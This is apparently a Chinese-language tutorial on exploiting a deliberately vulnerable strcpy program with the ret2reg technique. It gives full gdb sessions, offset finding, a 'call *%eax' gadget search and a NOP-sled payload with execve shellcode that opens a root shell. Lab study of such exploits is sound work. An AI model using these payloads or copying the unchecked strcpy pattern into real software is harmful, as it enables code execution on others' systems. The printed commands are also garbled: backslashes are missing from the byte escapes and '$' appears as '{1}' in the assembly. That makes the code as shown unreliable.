被溢出程序源码如下:

 

 root@linux:~/pentest# cat vulnerable.c   

#include <stdio.h>   

#include <string.h>   

void evilfunction(char *input) {  

    char buffer[1000];  

    strcpy(buffer, input);  

}  

int main(int argc, char **argv) {  

    evilfunction(argv[1]);  

    return 0;  

}  

 

 

编译,并用gdb反汇编代码如下:www.2cto.com

 

root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c  

root@linux:~/pentest# gdb vulnerable  

GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  

Copyright (C) 2010 Free Software Foundation, Inc.  

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   

This is free software: you are free to change and redistribute it.  

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  

and "show warranty" for details.  

This GDB was configured as "i686-linux-gnu".  

For bug reporting instructions, please see:  

<http://www.gnu.org/software/gdb/bugs/>...   

Reading symbols from /root/pentest/vulnerable...done.  

(gdb) disass main  

Dump of assembler code for function main:  

   0x080483e4 <+0>:    push   %ebp  

   0x080483e5 <+1>:    mov    %esp,%ebp  

   0x080483e7 <+3>:    and    {1}xfffffff0,%esp  

   0x080483ea <+6>:    sub    {1}x10,%esp  

   0x080483ed <+9>:    mov    0xc(%ebp),%eax  

   0x080483f0 <+12>:    add    {1}x4,%eax  

   0x080483f3 <+15>:    mov    (%eax),%eax  

   0x080483f5 <+17>:   mov    %eax,(%esp)  

   0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  

   0x080483fd <+25>:    mov    {1}x0,%eax  

   0x08048402 <+30>:    leave    

   0x08048403 <+31>:    ret      

End of assembler dump.  

(gdb) disass evilfunction  

Dump of assembler code for function evilfunction:  

   0x080483c4 <+0>:    push   %ebp  

   0x080483c5 <+1>:    mov    %esp,%ebp  

   0x080483c7 <+3>:    sub    {1}x408,%esp  

   0x080483cd <+9>:    mov    0x8(%ebp),%eax  

   0x080483d0 <+12>:    mov    %eax,0x4(%esp)  

   0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  

   0x080483da <+22>:    mov    %eax,(%esp)  

   0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  

   0x080483e2 <+30>:    leave    

   0x080483e3 <+31>:    ret      

End of assembler dump.  

(gdb)   

 

 

分析evilfunction函数调用栈的使用情况,如下:

 

 

 

可以看到,要想溢出该栈,需要至少1016B的数据。

 

下面我们用gdb调试一下,看上面的分析是不是正确:

 

(gdb) run `perl -e 'print "x41"x1014'`  

The program being debugged has been started already.  

Start it from the beginning? (y or n) y  

Starting program: /root/pentest/vulnerable `perl -e 'print "x41"x1014'`  

Program received signal SIGSEGV, Segmentation fault.  

0x08004141 in ?? ()  

(gdb) run `perl -e 'print "x41"x1015'`  

The program being debugged has been started already.  

Start it from the beginning? (y or n) y  

Starting program: /root/pentest/vulnerable `perl -e 'print "x41"x1015'`  

Program received signal SIGSEGV, Segmentation fault.  

0x00414141 in ?? ()  

(gdb) run `perl -e 'print "x41"x1016'`  

The program being debugged has been started already.   

Start it from the beginning? (y or n) y  

Starting program: /root/pentest/vulnerable `perl -e 'print "x41"x1016'`  

Program received signal SIGSEGV, Segmentation fault.  

0x41414141 in ?? ()  

(gdb)  

 

 

通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。

 

下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。

 

root@linux:~/pentest# gdb vulnerable  

GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  

Copyright (C) 2010 Free Software Foundation, Inc.  

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   

This is free software: you are free to change and redistribute it.  

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  

and "show warranty" for details.  

This GDB was configured as "i686-linux-gnu".  

For bug reporting instructions, please see:  

<http://www.gnu.org/software/gdb/bugs/>...   

Reading symbols from /root/pentest/vulnerable...done.  

(gdb) disass main  

Dump of assembler code for function main:  

   0x080483e4 <+0>:    push   %ebp  

   0x080483e5 <+1>:    mov    %esp,%ebp  

  0x080483e7 <+3>:    and    {1}xfffffff0,%esp  

   0x080483ea <+6>:    sub    {1}x10,%esp  

   0x080483ed <+9>:    mov    0xc(%ebp),%eax  

   0x080483f0 <+12>:    add    {1}x4,%eax  

   0x080483f3 <+15>:    mov    (%eax),%eax  

   0x080483f5 <+17>:    mov    %eax,(%esp)  

   0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  

   0x080483fd <+25>:    mov    {1}x0,%eax  

   0x08048402 <+30>:    leave    

   0x08048403 <+31>:    ret      

End of assembler dump.  

(gdb) b *main+20  

Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.  

(gdb) b *main+31  

Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.  

(gdb) disass evilfunction   

Dump of assembler code for function evilfunction:  

   0x080483c4 <+0>:    push   %ebp  

   0x080483c5 <+1>:    mov    %esp,%ebp  

   0x080483c7 <+3>:    sub    {1}x408,%esp  

   0x080483cd <+9>:    mov    0x8(%ebp),%eax  

   0x080483d0 <+12>:    mov    %eax,0x4(%esp)  

   0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  

   0x080483da <+22>:    mov    %eax,(%esp)  

   0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  

   0x080483e2 <+30>:    leave    

   0x080483e3 <+31>:    ret      

End of assembler dump.  

(gdb) b *evilfunction+31  

Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.  

(gdb) run `perl -e 'print "x41"x1012,"x42"x4'`  

Starting program: /root/pentest/vulnerable `perl -e 'print "x41"x1012,"x42"x4'`  

Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12  

12        evilfunction(argv[1]);  

(gdb) stepi  

evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4  

4    void evilfunction(char *input) {  

(gdb) i r esp  

esp            0xbfffef9c    0xbfffef9c  

(gdb) x/10x $esp-16  

0xbfffef8c:    0x08048429    0x00171cbd    0x0029f324   0x0029eff4  

0xbfffef9c:    0x080483fd    0xbffff203    0x0011ea50    0x0804841b  

0xbfffefac:    0x0029eff4    0x08048410  

(gdb) c  

Continuing.  

Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8  

8    }  

(gdb) i r esp  

esp            0xbfffef9c    0xbfffef9c  

(gdb) x/10x $esp-16  

0xbfffef8c:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffef9c:    0x42424242    0xbffff200    0x0011ea50    0x0804841b  

0xbfffefac:    0x0029eff4    0x08048410  

(gdb) c  

Continuing.  

Program received signal SIGSEGV, Segmentation fault.  

0x42424242 in ?? ()  

(gdb) i r   

eax            0xbfffeba8    -1073747032  

ecx            0x0    0  

edx            0xbffff5fc    -1073744388  

ebx            0x29eff4    2748404  

esp            0xbfffefa0    0xbfffefa0  

ebp            0x41414141    0x41414141  

esi            0x0    0  

edi            0x0    0  

eip            0x42424242   0x42424242  

eflags         0x10246    [ PF ZF IF RF ]  

cs             0x73    115  

ss             0x7b    123  

ds             0x7b    123  

es             0x7b    123  

fs             0x0    0  

gs             0x33    51  

(gdb) x/20x $eax  

0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffebb8:    0x41414141   0x41414141    0x41414141    0x41414141  

0xbfffebc8:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffebe8:    0x41414141    0x41414141    0x41414141    0x41414141  

(gdb) x/20x $eax -16  

0xbfffeb98:    0x0015b1c4    0x0015b1c4    0x000027d8    0x00005844  

0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffebb8:    0x41414141    0x41414141    0x41414141    0x41414141  

0xbfffebc8:    0x41414141   0x41414141    0x41414141    0x41414141  

0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  

(gdb)   

 

 

通过上面得过程分析,可以知道,在溢出时,eax寄存器恰好指向我们要执行的堆栈的起始地址处。即,我们可以利用eax来实现ret2reg。即寻找类似“call *%eax”或者“jmp *%eax”类似的指令。通常,我们需要在共享库中查找类似指令。

 

为了简便起见,先查找本程序中是否包含eax的指令。

 

root@linux:~/pentest#objdump -d vulnerable | grep eax  

 80482c0:   58                      pop    %eax  

 80482d0:    0000                   add    %al,(%eax)  

 8048318:   50                      push   %eax  

 8048350:    a1 18 a0 04 08          mov    0x804a018,%eax  

 8048366:    39d8                   cmp    %ebx,%eax  

 8048370:    83 c001                add    {1}x1,%eax  

 8048373:    a3 18 a0 04 08          mov    %eax,0x804a018  

 8048378:    ff 14 85 1c 9f 04 08     call  *0x8049f1c(,%eax,4)  

 804837f:    a1 18 a0 04 08          mov    0x804a018,%eax  

 8048384:    39d8                   cmp    %ebx,%eax  

 80483a6:    a1 24 9f 04 08          mov    0x8049f24,%eax  

 80483ab:    85c0                   test   %eax,%eax  

 80483af:    b8 00 00 00 00          mov    {1}x0,%eax  

 80483b4:    85c0                   test   %eax,%eax  

 80483bf:   ffd0                   call   *%eax  

 80483cd:    8b 4508                mov    0x8(%ebp),%eax  

 80483d0:   89 44 24 04             mov    %eax,0x4(%esp)  

 80483d4:    8d 85 10 fc ff ff       lea    -0x3f0(%ebp),%eax  

 80483da:    89 0424                mov    %eax,(%esp)  

 80483ed:    8b 450c                mov    0xc(%ebp),%eax  

 80483f0:    83 c004                add    {1}x4,%eax  

 80483f3:    8b00                   mov   (%eax),%eax  

 80483f5:    89 0424                mov    %eax,(%esp)  

 80483fd:    b8 00 00 00 00          mov    {1}x0,%eax  

 804842f:    8d 83 20 ff ff ff       lea    -0xe0(%ebx),%eax  

 8048435:    29c7                   sub    %eax,%edi  

 8048440:    8b 45 10                mov    0x10(%ebp),%eax  

 8048443:    89 44 24 08             mov   %eax,0x8(%esp)  

 8048447:    8b 450c                mov    0xc(%ebp),%eax  

 804844a:    89 44 24 04             mov    %eax,0x4(%esp)  

 804844e:    8b 4508                 mov   0x8(%ebp),%eax  

 8048451:    89 0424                mov    %eax,(%esp)  

 8048487:    a1 14 9f 04 08          mov    0x8049f14,%eax  

 804848c:    83 f8ff               cmp    {1}xffffffff,%eax  

 804849b:   ffd0                   call   *%eax  

 804849d:    8b03                   mov    (%ebx),%eax  

 804849f:    83 f8ff                cmp    {1}xffffffff,%eax  

root@linux:~/pentest#   

 

 

可以看到,程序中包含我们要找的类似于“jmp/call *%eax”的指令。这样,我们将采用“0x80483bf”这个地址。

 

接下来需要构建我们的溢出代码,设计格式如下:

 

#############################################################

 

“x90” * 400B +shellcode(45B) + “x90” * 567B + “0x80483bf”(4B)

 

#############################################################

 

下面按照上面的格式,构造,并进行溢出测试。

 

root@linux:~/pentest# gdb vulnerable  

GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  

Copyright (C) 2010 Free Software Foundation, Inc.  

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   

This is free software: you are free to change and redistribute it.  

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  

and "show warranty" for details.  

This GDB was configured as "i686-linux-gnu".  

For bug reporting instructions, please see:  

<http://www.gnu.org/software/gdb/bugs/>...   

Reading symbols from /root/pentest/vulnerable...done.  

(gdb) r `perl -e 'print "x90"x400,"x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80","x90"x567,"xbfx83x04x08"'`  

The program being debugged has been started already.  

Start it from the beginning? (y or n) y  

Starting program: /root/pentest/vulnerable `perl -e 'print "x90"x400,"x31xc0x83xecx01x88x04x24x68x62x61x73x68x68x62x69x6ex2fx83xecx01xc6x04x24x2fx89xe6x50x56xb0x0bx89xf3x89xe1x31xd2xcdx80xb0x01x31xdbxcdx80","x90"x567,"xbfx83x04x08"'`  

process 1909 is executing new program: /bin/bash  

root@linux:/root/pentest# ls  

shellcode  shellcode.bin  shellcode.c  shellcode.pl  shellcode_generator  shellcode_generator.c  test.c  vulnerable  vulnerable.c  

root@linux:/root/pentest# exit  

exit  

Program exited normally.  

(gdb)   

 

 

可以看到,我们的溢出代码成功的获得了shell。